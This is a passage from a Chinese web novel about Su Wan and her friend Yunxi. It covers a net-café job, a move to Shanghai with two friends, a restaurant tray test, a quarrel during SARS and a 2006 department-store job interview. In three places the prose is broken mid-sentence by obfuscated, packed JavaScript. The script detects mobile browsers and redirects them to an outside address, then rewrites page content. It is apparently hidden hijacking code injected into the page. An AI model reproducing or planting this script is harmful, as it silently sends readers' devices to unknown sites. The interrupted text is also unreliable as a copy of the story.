云曦眼睛亮了一下,从椅子上站起来,走到收银台拐角处,拿起那部红色的座机话筒,手指在按键上按了几个数字,按的时候她把话筒夹在耳朵和肩膀之间,等了一会儿,对着话筒说了一声。 “妈,我在清清这儿,今晚不回去了。嗯,好,知道了。”挂电话的时候她把话筒搁回去,手指在话筒上多按了一下,像是怕没挂好。 她趴在收银台上,“我开台电脑,等你下班。” “好。”苏晚坐回收银台后面,从抽屉里拿了一张上网卡在电脑前操作一番递给她。 晚上九点,交接班的人来了。苏晚把钥匙和本子递过去,说了几句今天的情况,从收银台后面绕出来。 “走吧。”她冲屋里云曦喊了一声。 云曦关机从椅子上站起来,伸了个懒腰。 两个人推门出去。网吧门口停着一辆浅绿色的自行车,车漆有点掉,车筐歪了一点,后座绑着一块旧布垫着。苏晚走过去,手指搭在车把上,转身看云曦。 “没想到你今天来找我,”她用脚踢了踢脚撑,车子晃了一下,稳住了,“我推着走。我家就在附近,不远。” 两个人并排走。苏晚推着车,车链条偶尔转一下,发出细细的声响。云曦走在她的左边,头发被风吹起来,她伸手按了按,又松开。 穿过网吧后面的那条巷子。 巷子窄,两边是墙。巷子尽头是主街道,宽一些,路灯隔得远,光线一段一段的,亮一段暗一段,把两个人的影子拉长又缩短。两人向右走了一段路,又拐进一条小巷。 这条巷子比刚才那条宽一点,两边是自建房,一家挨着一家,门牌歪歪扭扭的。苏晚在最里面那栋别墅房门口停下来,把自行车靠墙支好,,从口袋里掏出钥匙,在锁孔里转了两圈。门是铁皮的,漆成深绿色,门把手上挂着一块抹布,干巴巴的。 “这是我家。” 她推开右手边的一扇小单间的门,伸手在墙上摸到开关,啪嗒一声,头顶的日光灯闪了两下,亮了,白光填满整个房间。她侧身让云曦先进去。 房间不大。进门右边手是一张桌子,木头色的,桌面上放着菜板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437419|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和碗碟等。门对面正中间一扇窗户,窗框是白色的,漆有点起皮,窗帘拉了一半,外面黑漆漆的,什么也看不见。窗户下面是一张床,1.5米床,铺着蓝白格子的床单,床上有两个枕头,其中枕头压出一个人形的凹痕。床头靠墙的位置摆着一个床头柜,上面放着一个闹钟、一盏台灯和一盒没拆封的饼干。房间角落里,靠床尾那边,几个行李箱摞在一起,最大的那个箱子上面还搁着一个纸箱,纸箱里码着几桶方便面,红烧牛肉味的,红彤彤的桶身挤在一起。行李箱旁边还有一箱矿泉水,绿标签的,箱子上压着一袋面包,袋口拧着。 云曦站在门口,把房间看了圈,目光从桌上扫到床上,又从窗户扫到角落里那几箱东西。 “你就住这儿?” “嗯,”苏晚把门带上,走到床边,拍了拍那个压出人形的枕头,“小是小了点。” “够住也是可以的,”苏晚又开口,“外婆有时也会进镇上住这里。” 云曦走进来,在床边坐下,手撑着床沿,手指在床单上按了按。“挺好的。” 两个人洗漱完,苏晚躺在靠墙那边,伸手把台灯拧开,又把头顶的灯关了。云曦躺在外边。房间里暗下来,只剩床头那盏台灯,橘黄色的光拢在两个人身上,把影子投在对面墙上,黑乎乎的两团。 “那年冬天你走了之后,我还见过李建几次,”云曦翻了个身,平躺着,声音朝着天花板,“他约线下聚餐,叫了我。张晨也去了,还有几个论坛上的人。吃了个饭,聊了一会儿,散了。就那么几次。”她停了一下。“没有你在,大家兴致都淡淡的。聊着聊着就冷了场,不知道说什么,就散了。” 苏晚侧过头看着她,没说话。 云曦侧过身,一只手搭在苏晚胳膊上,搂了一下,又松开。 “清清,我想你了。你想不想我啊?” 声音软软的,尾音拖长了往上翘,像小时候撒娇那样。 苏晚伸手拉下她的胳膊,手指捏了捏她的手腕,又松开。 “会想你。” 她扯了扯毯子。 “好好躺着,准备睡觉。明天早起。” 云曦还想说什么,苏晚伸手把台灯关了。房间一下子黑透了,只有窗帘缝里漏进来一线光,细细的,落在床尾的地板上。 苏晚盯着天花板,眼睛慢慢适应了黑暗,能看见天花板上那道细长的裂缝,从灯座的位置一直延伸到墙角。 真好。 云曦来上海了。 她翻了个身,面朝墙。墙上有一小块水渍,形状像朵云,她看了很久。身后传来云曦的呼吸声,渐渐平稳了,长长的,慢慢的。 她闭上眼睛。 54. 托盘 云曦在镇上找了份工作。饭店服务员,包吃不包住,工资不高,但离网吧近,走路十分钟。她在饭店里认识了两个女孩——一个叫皮球,圆脸,笑起来下巴叠两层,说话的时候喜欢拍人胳膊,拍着拍着自己先笑;一个叫果果,瘦高个,头发染成深栗色,扎马尾,话不多,但每次开口都能把人逗乐。三个人排班不一样,但晚上总有那么一两个小时能凑到一起。下了班就往苏晚的网吧跑,推门进来的时候带着一股饭馆里的油烟味,皮球走在前面,果果跟在后面,云曦最后进来,手里拎着从饭店打包的盒饭,往收银台上一搁。 “给你。”。 苏晚从收银台后面探出头,看了一眼,把盒饭接过来。 “你们今天不忙?” “忙死了,中午来了两桌婚宴,腿都跑断了。”皮球把10元钱递给苏晚。 苏晚手上一顿操作递给她们几张卡。 皮球、果果拿到卡就向屋里的电脑走去。 云曦拉了把椅子坐到苏晚旁边,胳膊肘撑在收银台上,歪着头看她把塑料袋解开,筷子掰开,盒饭还温着,盖子掀开,米饭上盖着红烧肉和青菜。夹了一块肉塞进嘴里。 “好吃吗?” 苏晚点点头,嘴里塞着饭,含糊地嗯了一声。 那段时间,苏晚经常刚下班还没走,她们就来了。她索性多待一会儿,几个人并排坐着,玩电脑,听音乐或者有时站着,靠着墙,说话。有时候聊到很晚,街上静了,路灯亮着,偶尔有车经过,车灯扫过玻璃门,在墙上划一道光。苏晚回到家的时候已经半夜,外婆在的时候轻手轻脚,摸黑刷牙洗脸,躺到床上,闭上眼睛就睡着了。 累,但累得踏实。朋友嘛。 2003年春节,天气还冷。苏晚裹着羽绒服在网吧值完最后几天班,大年三十那天晚上,云曦跑来找她。两个人缩在网吧角落里,电脑屏幕上放着春晚,声音开得小,听不清说什么,就看人走来走去,红的绿的,热热闹闹的。云曦剥了一颗糖塞进嘴里,腮帮子鼓出一块,转头看苏晚。 “清清,过完年,要不要去上海市区找工作?” 苏晚盯着屏幕,没立刻回答。屏幕上赵本山在卖拐,观众在笑,她没笑。 “皮球和果果都说想去,”云曦把糖纸叠成一小条,在手指上绕来绕去,“大城市,机会多。” 苏晚愣了一下。 市区什么样,她知道。 那年来上海过年后没多久,亲人就帮她在上海郊区找了份工作,坐公交转地铁,晃晃悠悠一个多小时,那边的人走路快,说话快,连空气都跟这边不一样。 她转过头,看着云曦。 “好。” 正月过后,苏晚辞了网吧的工作。 外婆站在老宅门口送她,手里攥着一个塑料袋,里面装着几个苹果和两包饼干。“在外面照顾好自己,别饿着。”苏晚接过袋子,点了点头,没敢看外婆的眼睛。 她和云曦、皮球、果果一起坐上了去市区的车。公交转地铁,地铁是二号线,车厢里人多,挤在一起,行李堆在脚边,谁的箱子角硌着谁的脚后跟。苏晚靠在车门旁边,透过玻璃看外面的隧道壁,一段一段的广告牌往后退,亮着光,看不清上面写什么。 她们在闵行找了间房子。郊区,便宜,一室户,月租1200元。房子在一栋老居民楼的五楼,没电梯,楼道里的灯是声控的,拍一下手亮一下,走几步又灭了。房间不大,一张1.8米的床,一张沙发,一个衣柜,一张桌子,窗户对着隔壁楼的墙,晾衣服得伸出去老长。 三个人睡那张床,一个人睡沙发上,睡了几天。白天睡觉,晚上出去逛。走很远的路,走到有霓虹灯的地方,站在十字路口看人来人往。皮球指着远处一栋高楼说“好高”,果果说“漂亮”。云曦蹲在路边系鞋带,系完了站起来,拍着裤子上的灰。 新鲜感过了之后,云曦开始买报纸。每天早上去街角的报刊亭买一份《新民晚报》,有时候买《人才市场报》,厚厚一沓,翻得哗哗响。她坐在床上,把报纸摊开,手指从第一版划到最后一版,翻到中缝的时候停下来,低着头,一行一行看。 那些广告印在窄窄的空白处,字小,挤在一起——“招聘服务员,包食宿”“招文员,会电脑优先”“招销售代表,底薪加提成”。有的留电话,有的留地址,有的只写了“详情面议”。 苏晚坐在旁边,等她翻完了接过来看。 “清清,你看这里。”云曦的手指停在某一版的中缝,指甲盖摁着一行小字,“这个招工广告,还给指了路,是个招聘场地。我们去吧。” 苏晚凑过去看。那行字写着“XX区人才交流中心,每周六举办大型招聘会,地址XX路XX号,公交XX路可达”。 “好。” 第二天早上,四个人出了门。皮球穿了一件新买的衬衫,白色的,领子有点紧,她拽了两下。果果把马尾扎高了,额前的碎发用发卡别住。云曦穿的是那件洗得发白的牛仔裤,但熨过了,裤线笔直。苏晚穿了一件淡蓝色的外套,是来上海那年舅舅给她买的,一直没舍得穿。 公交车上人多,站着挤在一起,皮球被挤到门边,手抓着栏杆,回头冲她们喊了一句什么,被发动机的声音盖住了。转地铁的时候,几个人站在站台上等车,头顶的显示屏跳着红色的字——下一站,人民广场。云曦低头看了一眼手里的报纸,又抬头看站牌,嘴里念叨着换乘的线路。 地铁进站的时候风很大,把皮球的刘海吹起来,她伸手按住,踩着黄线往车厢里走。车厢里比公交车上宽敞些,但也没座位,四个人拉着吊环站成一排,随着车身的晃动左右摆。 出站的时候,苏晚走在最前面,跟着指示牌往出口走。楼梯很长,爬上去的时候阳光迎面扑过来,她眯了一下眼睛。 招聘场地在街对面,一栋两层的楼,外墙贴着白色瓷砖,门口立着一块红色的横幅——“春季人才招聘会”。门口进进出出的人多,有的手里拎着文件袋,有的拿着简历,有的低着头翻着什么。苏晚站在门口,仰头看了一眼。 两层楼,上下都有人。大厅里摆着几排长桌,铺着蓝布,桌后面坐着人,面前摆着一摞一摞的招聘简章。桌与桌之间的过道窄,人挤着人,侧着身子才能过去。有人在排队,有人趴在桌边填表,有人站在角落里打电话,声音压得很低,但嗡嗡的,混在一起,像一大群蜜蜂在飞。 时不时有人站在凳子上喊——“XX公司招销售,有经验者优先!”、“XX电子招文员,包吃住!”声音从这头传到那头,又被别的喊声盖住。 苏晚站在大厅中间,被人流推着往前走了一步,又停下来。云曦跟在她后面,东张西望,脑袋转来转去,目光从这排桌子扫到那排桌子,又从楼下扫到楼上。 “我们要从哪里看起走起?”她的声音被周围的嘈杂压得有点低,凑到苏晚耳边,几乎是贴着她的耳朵说的。 “不知道。” 她站在那儿,看着头顶那盏日光灯,灯管闪了一下,又亮了。身边有人经过,文件袋蹭着她的胳膊,她往旁边让了让。皮球从后面挤上来,踮着脚尖往前看,下巴抬得高高的。果果站在原地没动,手插在口袋里,目光从这头转到那头,转了一圈,又转回来。 云曦站在她旁边,肩膀挨着她的肩膀,目光从这排桌子扫到那排桌子。四个人往里走,穿过那些铺着蓝布的长桌,绕过排队的队伍,走到大厅最里面。墙上贴着一排招聘信息,A4纸一张一张钉在软木板上,密密麻麻的,有的用红笔圈了重点,有的边角卷起来。苏晚站在信息栏前面,仰着头从第一行往下看。 身后有人跑过来,脚步声急促,皮鞋踩在地砖上嗒嗒响。 “你——你会操作电脑?” 苏晚转过身。一个年轻男人站在她面前,他喘着气,额头上有一层薄汗,目光从苏晚脸上扫到她的手上,又扫回脸上。 苏晚愣了一下,往后退了半步。 “不会。” 男人的肩膀塌了一下,嘴角往下撇了撇,转身就走了。步子快,拐进人群里,看不见了。 云曦从旁边走过来,胳膊搭在苏晚肩上,下巴朝那个男人消失的方向抬了抬。 “他干嘛拦你?” 苏晚转过头看她。“以为我会操作电脑。” 皮球从信息栏前面探过头来,手里拿着一份招聘简章,折了两折,在手里拍了拍。“清清看上去气质不凡,人家以为你是大学生。” 苏晚低头看了看自己。淡蓝色外套,牛仔裤,白球鞋。她抬起头,笑了一下,没说话。 从招聘现场出来,太阳已经偏西了。几个人沿着街边往公交站走,路过一条主街的时候,皮球忽然停下来,手指着街对面。 “你们看。” 街对面有一家很大的餐饮店,门面宽,三开间,玻璃门上贴着红色的招工启事,白纸黑字,用胶带粘在玻璃里面。门口站着一个穿制服的服务员,双手交叠放在身前,腰背挺直。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437420|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “招服务员。”云曦把那条启事念了一遍,转过头看苏晚,“去看看?” 苏晚看了一眼那扇玻璃门,又看了一眼云曦。 “好。” 四个人过了马路,推开那扇玻璃门。大堂很大,摆了十几张圆桌,桌布是白色的,椅子套着红色椅套。吊灯还没开,光线从街边透进来,落在地砖上,亮晃晃的。前台后面站着一个女的,三十五六岁,头发盘起来,穿着黑色西裤和深色衬衫,胸口别着一个名牌。她抬起头,目光在四个人脸上扫了一圈。 “应聘的?” 云曦点了点头。 女的从柜台后面绕出来,上下打量了她们一眼,下巴往大堂里面抬了抬。“跟我来。” 她带着她们走到靠窗的一张圆桌旁边,把椅子拉开一把,示意她们站成一排。她自己站在对面,双手交叉抱在胸前,目光从左边扫到右边,又从右边扫到左边。 “端过盘子吗?” 云曦点了一下头,幅度不大,下巴收了收。皮球也点了一下头,头发跟着晃了晃。果果嗯了一声,声音从喉咙里滚出来,闷闷的。苏晚站在原地没动,手指在裤缝上蹭了蹭。 那女人看了一眼苏晚,没说什么,转身从旁边的桌子上拿起一个托盘。托盘是圆的,木纹色,边沿磨得发亮。她把托盘放在桌上,手指在托盘边缘敲了一下。 “端起来,走直线,回来。” 云曦先上前。她走到桌边,左手探出去,五指张开,掌根和指腹同时贴上托盘底部,掌心弓起悬空,虎口卡住托盘边缘。手腕挺直,小臂与地面平行,肘关节夹在腰侧,托盘稳稳地端在左胸前,盘面水平,不偏不倚。她迈开步子,右脚向前,脚跟先着地,脚尖稍向外展,身体重心从左脚移到右脚,平稳过渡。走了六步,到对面那根柱子跟前,转身,右腿为轴,左脚划了半个弧,托盘纹丝不动。再走回来,六步,站定,把托盘搁回桌上,托盘边沿和桌面边缘对齐,手指推了一下,退回原位。 皮球第二个。她端起托盘的时候左手拇指轻轻压在托盘上沿,其余四指托底,手肘比云曦张得开一些,但托盘稳。步子比云曦快,节奏却匀称,走完一圈回来,托盘搁下的时候没出声,只有木头碰木头的一记闷响。 果果更利落。她单手把托盘从桌上拎起来,手腕朝外一翻,托盘在空中划了小半个弧,落下来的时候已经平了,稳稳当当搁在左手上。她走的时候步子不大,脚掌贴着地面滑过去,身子不晃,托盘边缘的水珠都没抖落。走回来,把托盘搁回原处,食指和中指并拢,把托盘边沿和桌边推成一条线,退后一步。 轮到苏晚。她站在桌边,看着那个托盘,愣了一拍。刚才光顾着看她们怎么走,没仔细看她们怎么拿的。她伸手端起托盘——右手托底,左手扶边,往前面走。走了两步,托盘往左边歪,她左手赶紧往下按,右手往上顶,调整了一下,托盘晃了晃,稳住。她盯着盘面走完一圈,放回桌上的时候托盘边磕了一下桌面,啪的一声,不重,但脆。 她抬起头。店长站在对面,双手还抱在胸前,眉头微微皱了一下,很快又松开,嘴唇抿了一下,没说话。皮球站在旁边,嘴角弯着,弧度不大,但看得出来。果果低着头,手指在桌沿上画圈。云曦站在最边上,嘴角往上翘,翘得压不住,眼睛弯起来,明着偷笑。 四个人从店里出来,站在街边。云曦第一个没忍住,噗嗤一声笑出来,弯着腰,双手撑在膝盖上,笑得肩膀一抽一抽的。她直起身,指着苏晚,手指在空中点了两下,笑得说不出话,喘了一口气才接上。 “清清——”她吸了一口气,又笑了一声,“你的姿势一上手就知道不对。”她左手比划了一个托盘的姿势,手肘夹在腰侧,五指张开,“左手托底,右手空出来干活——上菜、倒茶、撤盘子,都用右手。你两只手都端盘子,右手指什么?” 皮球在旁边也笑起来,伸手拍了拍苏晚的肩膀,掌心在她肩头落了一下。“没事没事,我们都是熟手,带你飞。” 苏晚站在那儿,看着她们笑,自己也跟着笑了。心想,还好还好,结果是好的。四个人站在街边,笑了好一会儿,才往公交站走。云曦走在最前面,步子大,鞋底踩在人行道上嗒嗒响。皮球走在她旁边,两个人在说刚才面试的事,皮球学店长皱眉的样子,学得不像,云曦又笑了一声。果果走在后面,手插在口袋里,低着头看地上的砖缝。苏晚走在最后面,夕阳从楼缝里照过来,把几个人的影子拉得老长,叠在一起,分不清谁是谁。 55. 扔出去的拖鞋 2003年4月。 苏晚在餐馆干了两个月。端盘子,擦桌子,拖地,收银,什么都干。早上九点到店,晚上九点下班,中间歇两个小时,趴在角落餐厅桌子上眯一会儿,腰酸背痛地爬起来接着干。一个月工资交完房租、来回路费,剩下的捏在手里,薄薄的一小叠,买两件衣服就没了。 街上人少了。非典时期。 苏晚她们不看新闻,网吧那段时间没怎么去,消息都是从餐馆里听来的——哪个区又封了,哪趟车停了,谁谁被隔离了。客人一天比一天少,店长让她们把桌子擦了三遍,消毒水味道刺鼻,擦完手上一股味儿,洗也洗不掉。主街上空空荡荡的,平时摆摊的没了,骑自行车的没了,连公交车上都稀稀拉拉的,有时候整趟车就她们几个人。走在路上,口罩捂得严严实实,露出来的只有眼睛。 日子过得紧巴,但也有高兴的时候。那台黑白小电视。 电视机是房东留下的,搁在客厅角落里,十四寸,外壳发黄,旋钮拧的时候吱吱响,拍两下才能出人。每天晚上下班回来,几个人挤在沙发上,等《粉红女郎》开播。片头曲一响,皮球就把灯关了,屋里只剩下屏幕那块灰白色的光,一闪一闪的。四个女人坐在沙发上,肩膀挨着肩膀,脚搁在茶几上,看到好笑的地方一起笑,笑得沙发跟着颤。苏晚最喜欢刘若英演的那个结婚狂,傻乎乎的,但命好。云曦喜欢万人迷,说她说的话有道理。皮球喜欢男人婆,果果喜欢哈妹。 广告的时候,云曦从沙发上站起来,脚塞进拖鞋里,啪嗒啪嗒走进厨房。苏晚靠在沙发背上,盯着电视屏幕上的广告——洗衣粉,洗发水,脑白金。那两个人转来转去,转了好几年了还在转。 “我想回家了。” 苏晚的声音不大,被广告里的音乐盖了一半。她没重复,就那么坐着,眼睛还盯着电视,但没在看。 厨房里传来刀切砧板的声音,一下,两下,停了。 云曦从厨房门口探出半个身子,手里拿着水果刀,刀刃上沾着汁水。她看了苏晚一眼,没说话,又缩回去了。切水果的声音又响起来,比刚才慢了一些,一下,隔一会儿,又一下。 苏晚从沙发上站起来,走到厨房门口。云曦背对着她,站在水槽边上,面前搁着砧板,上面堆着几块切好的水果——苹果,切成瓣,去了核,码在盘子里;几根香蕉,剥了皮,切成段,摆在苹果旁边;还有两个橙子,切了一半,汁水流到砧板上,黄黄的。上海的春天,水果摊上就这几样,苹果香蕉橙子,从冬天卖到夏天,也没什么新鲜的。 “不是回镇上外婆家,”苏晚靠在门框上,手插在口袋里,“是想回家。” 云曦手里的刀停在半空,顿了一下。她把刀搁在砧板上,转身看着苏晚。手指在围裙上蹭了蹭,蹭掉橙子汁,又蹭了一下。 “回哪儿?” “回家。” 云曦看着她,没说话。厨房里只有冰箱嗡嗡的声音,还有水龙头没拧紧,一滴水滴在水槽里,嗒,嗒,嗒。 “你走了我们怎么办?”云曦的声音低下来,不像平时那样亮,“房租几个人摊,你走了我们四个人变三个,一个人要摊四百多。我们一个月才挣多少?” 苏晚低着头,看着自己的脚尖。拖鞋是粉色的,云曦的,她穿着小了一码,脚后跟露在外面。 “你们也可以回镇上,或者回家——” “回家?”云曦的声音一下子拔高了,从喉咙里顶出来,尖的。“回哪儿?回那个小地方?一辈子端盘子?” 苏晚抬起头,张了张嘴,没说出话。 云曦从厨房里冲出来,拖鞋在地板上啪嗒啪嗒响,走到客厅中间,转过身。她的脸涨红了,额头上的碎发贴在皮肤上,鼻翼翕动着,嘴唇抿成一条线,下巴在抖。 “你说来就来,说走就走。你考虑过我们吗?你考虑过我吗?” 苏晚站在厨房门口,手还插在口袋里,没动。 云曦低头看了一眼自己的脚,把拖鞋甩掉,光脚站在地板上,弯腰捡起那只拖鞋,攥在手里。 “你滚。” 她把拖鞋扔过来。拖鞋在空中翻了一圈,砸在苏晚肩膀旁边的门框上,啪的一声,落在地上,弹了一下,歪在墙角。 果果从房间里冲出来,站在走廊上,看见云曦光着一只脚站在客厅中间,苏晚靠在门框上,肩膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437421|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边歪着一只拖鞋。她的眼睛瞪圆了,嘴巴张着,没出声。 皮球也从沙发上站起来,跑过去拉住云曦的胳膊。云曦挣了一下,皮球没松手,另一只手也搭上去,把云曦往沙发那边拽。 “别拉了别拉了——”皮球的声音在发抖,但手没松。 云曦被拽到沙发上,一屁股坐下去,弹簧响了一声。她低着头,两只手撑在膝盖上,肩膀一耸一耸的,没哭出声。 苏晚站在厨房门口,弯腰把那只拖鞋捡起来,走过去,放在云曦脚边。云曦没看她。 那天晚上谁都没睡。皮球翻来覆去,床板吱呀吱呀响。果果侧着身子面朝墙,呼吸声均匀但没睡着——苏晚听得出来,太匀了,像装出来的。云曦躺在靠墙那边,一动不动,被子蒙到下巴。 苏晚睁着眼睛看天花板。天花板上有一道裂缝,从灯座延伸到墙角,白天看不见,晚上路灯照进来的时候才显出来。她盯着那道裂缝,看它慢慢变粗,变长,又缩回去。窗外偶尔有车经过,车灯扫过窗帘,亮一下,暗一下。 第二天下午,苏晚把箱子从床底下拖出来。箱子是红色的,拉杆有点歪,轮子磨秃了一个,拖在地上歪歪扭扭的。她把衣服叠好放进去,两件外套,三条裤子,几件T恤,叠得整整齐齐。那本抄满字的日记本塞在最底下,压在衣服中间。洗漱用品装进塑料袋里,扎好口,塞在箱子侧面。 云曦不在家。早上出去就没回来,也没说去哪儿。 皮球站在门口,看着她收拾,手指抠着门框上的漆,抠了一小块下来,在指尖捻着,粉末细细的,落在脚背上。 果果帮她拎了一袋东西下楼,走到楼道口的时候,果果停下来,把手里的袋子换到另一只手上。 “到了打电话。” 苏晚点点头。 苏晚走到楼下,她回头看了一眼那扇窗户。五楼,右边数第三间。窗帘拉着,灰白色的,一动不动。她站在那儿看了一会儿,风吹过来,把地上的落叶卷起来,蹭着箱子滚了一圈,又落下。 她转过身,拖着箱子往巷子口走。箱子歪歪扭扭的,轮子磨在地上,声音越来越远。走到巷子口,拐弯,看不见了。 56. 百货大楼 2006 夏市中心百货大楼筹备组 午后两三点,太阳毒得能把柏油路晒化。 百货大楼外面还搭着脚手架,绿色的防护网被风吹得鼓起来又瘪下去,像一栋建筑在呼吸。大楼正门两侧的柱子上已经贴好了红色横幅——“百货大楼重装开业·全城招聘”,但“重装”两个字被太阳晒褪了色。 筹备组临时办公室设在大楼附属宾馆楼的三楼。 进去之后是一个小门厅,左边是前台,台面上落了一层薄灰,没人坐。右边是电梯,电梯门是不锈钢的,上面贴着一张A4纸,打印着“招聘面试请上三楼”。纸的四个角用透明胶带粘着,右下角的胶带翘起来了,纸角微微卷起。 电梯是那种老式的,开门的时候会“叮”一声,然后门慢慢往两边滑开,速度很慢,像是在犹豫要不要打开。进去之后,电梯壁上用记号笔写着“注意关好门”几个字,字迹潦草。 三楼电梯门打开,迎面是一条走廊。走廊铺着暗红色的地毯,踩上去软塌塌的,能感觉到底下的水泥地不平。走廊两边是宾馆房间的门,每扇门上都贴着房号,但门把手都拆掉了——大概是筹备组临时征用的,里面摆上了办公桌和椅子。走廊尽头那间最大,门开着,门口排着一条长队。 门口排着一条长队,多半是二十出头的年轻人,女孩居多。她们手里攥着简历——其实就是一张A4纸,有的折了三折,有的被手心的汗洇湿了边角。 空气里飘着花露水的味道,有人出门前特意拍了不少。 苏晚站在队伍中间偏后的位置,穿着一件白色短袖衬衫,领口是小翻领,下面一条浅蓝色牛仔裤,脚上是双白色帆布鞋——擦过了,但左脚鞋面上还隐约有一小块圆珠笔印,擦不掉。她的头发一把抓用一根黑色皮筋绑着,鬓角有几缕碎发被汗粘在太阳穴上。 她低头看了看手里的简历。 简历是用中性笔手写的,字迹工工整整。 她把简历折起来,又展开,又折起来。 前面还有七八个人。队伍移动得很慢,里面大概在逐个面试。有人从里面出来,表情淡淡的,看不出是成是没成。旁边立刻有人凑上去小声问“问你什么了”,那人摆摆手没说话就走了。 苏晚深吸一口气,把简历重新抚平。 这时,身后有人拍了一下她的肩膀。 “苏晚?” 苏晚回头。 一个女孩站在她身后,穿着件粉红色短袖T恤,胸前印着一只卡通米老鼠,下面是条牛仔裙,头发烫了当时流行的“陶瓷烫”,卷卷地披在肩上。她脸上带着那种“果然是你”的惊喜表情。 苏晚愣了一下,然后认出来了。 “王莉?!” “我就知道是你!”王莉笑着拍了她一下,“我在后面排着就觉得像你,一看这个后脑勺,还有这个——”她伸手碰了碰苏晚马尾辫上那根黑色皮筋,“你还是用这种皮筋啊,都几年了?” “你怎么在这儿?”苏晚还没从惊讶里缓过来,“你不是在——” “别说了。”王莉做了个“打住”的手势,表情变得有点复杂,像是要讲一个很长的故事但又不知道怎么开头,“毕业之后我先去了广东,待了半年,回来了。回来之后在步行街那家‘真维斯’卖了三个月衣服,后来觉得没意思,又去了一家影楼做前台——就是人民路那家‘巴黎春天’,你知道吗?” 苏晚摇头:“我这几年不在市里。” “你这几年去哪儿了?” “我这几年都在上海陪外婆。” “哦。”王莉点点头,“那你怎么回来了?” 苏晚看了一眼前面缓慢移动的队伍,轻声说:“我爸一个人在这里,我不放心,就回来了。” “哦。”王莉拍了拍她的胳膊,又恢复了刚才那种热络的劲儿,“哎,你知不知道今天招多少人?” “不知道。” 苏晚摇了摇头。 队伍往前挪了两步。苏晚跟着往前走,王莉也跟上,两个人从前后关系变成了并排站着——后面的一个女孩看了她们一眼,但没说什么。 “对了,你还记得咱们班那个李伟吗?”王莉突然问。 苏晚想了想:“胖胖的那个?跟你同桌过的?” “对对对!就是他!”王莉笑得弯了一下腰,“他前段时间给我打电话,说他在开发区一个什么工厂上班了。你猜他跟我说什么?” “说什么?” “他说他有一次在厂里食堂吃饭,看到一个女的特别像你,差点上去打招呼,后来发现人家比你胖二十斤。” 苏晚被逗笑了,用手捂住嘴,眼睛弯成两道月牙。 “他嘴还是这么欠。”苏晚笑着说。 “可不是嘛。”王莉也笑,笑着笑着突然停下来,看着苏晚,“哎,你说咱们毕业也这么多年?时间过得好快。” “嗯。”苏晚说。 “蛮想念那三年的校园生活”苏晚顿了顿。 王莉点了点头,难得地安静了几秒。 “那你呢,”苏晚侧过头看她,“你怎么想到来百货大楼?” “嗐,我姐在这儿。”王莉朝大楼的方向努了努嘴,“她在老楼那边卖了三年化妆品了,说这次重装之后要扩大营业面积,肯定缺人,让我来试试。” “那你有内部消息啊。” “内部什么呀,”王莉摆手,“她就一个卖化妆品的,又不是筹备组的人。她就是跟我说——‘你来试试呗,反正也找不到别的工作’——原话。” 两个人又笑了。 这时候,前面一个穿着蓝色连衣裙的女孩从里面走出来,眼眶有点红。她快步穿过队伍,高跟鞋敲在水磨石地面上发出急促的“哒哒哒”声。 苏晚看着那个背影,笑容收了收。 “紧张吗?”王莉小声问。 “有一点。”苏晚承认。 “你别紧张,你肯定行。”王莉又拍了拍她。 “要是咱俩都录上了,以后可以一起上下班啊。”王莉说这话的时候眼睛亮亮的,好像这件事已经板上钉钉了。 苏晚没接话,但嘴角微微翘了一下。 “下一位——” 里面传来一个男声。 苏晚低头看了看自己手里的简历,又看了看王莉。 “你先去吧,你在我前面。”王莉推了她一把。 “好。” 苏晚深呼吸了一下,抬脚往前走。走了两步又回过头。 “怎么了?”王莉问。 “没什么。”林晓说,然后转身走进了临时办公室的门。 门是半开的,里面传来了断断续续的对话声,听不太清楚。 王莉在原地站着,把脚上的凉鞋蹭了蹭,又拿出小镜子看了一眼自己的口红。 大约过了七八分钟,苏晚从里面出来了。 她的表情看不出来是喜是忧,跟前面那个蓝色连衣裙女孩的状态差不多。 “怎么样?”王莉立刻凑上去。 “还行。”苏晚说,“就问了一些基本情况。” “你快进去吧。”苏晚往旁边让了让,侧身给王莉留出过道。 “好!你等我啊,别走!”王莉把镜子塞进口袋,往前走了两步,又回头看了苏晚一眼。 “嗯,我在外面等你。”苏晚说。 苏晚走出宾馆楼的大门,站在门口的台阶上。台阶是水磨石的,被太阳晒得发烫,隔着鞋底都能感觉到热度。太阳已经偏西了一点,但热度丝毫没减。 她靠在栏杆上,从口袋里掏出一个小本子——封面是红色的塑料皮,上面印着“工作笔记”四个烫金字——翻到最后一页,用笔在上面写了几行字: “2006年7月14日,百货大楼面试。宾馆楼三楼。问了一些基本情况。” 写完,她合上本子,穿过马路,抬头看对面的百货大楼。 